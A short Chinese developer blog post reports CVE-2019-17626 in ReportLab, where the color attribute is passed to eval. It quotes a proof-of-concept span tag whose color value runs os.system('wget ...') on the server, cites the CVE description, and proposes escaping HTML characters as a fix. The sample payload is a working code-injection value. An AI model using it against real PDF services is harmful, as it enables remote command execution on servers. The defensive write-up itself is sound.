reportlab 安全漏洞cve-2019-17626,导致可
2019-12-13 本文已影响0人
夜无风雨
最近我们下载pdf的接口出现了个安全漏洞。
由于color.js 允许了远程执行代码导致了可以在页面标签的color属性添加命令执行。如:
<span color=\"__import__('os').system('wget www.baidu.com')\">test111</span>
服务器端就会去执行命令 访问百度。
ReportLab through 3.5.26 allows remote code execution because of toColor(eval(arg)) in colors.py, as demonstrated by a crafted XML document with '<span color="' followed by arbitrary Python code.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17626
https://nvd.nist.gov/vuln/detail/CVE-2019-17626
但是最新版本仍然没有解决该问题,我们需要后台转义一下html特殊字符。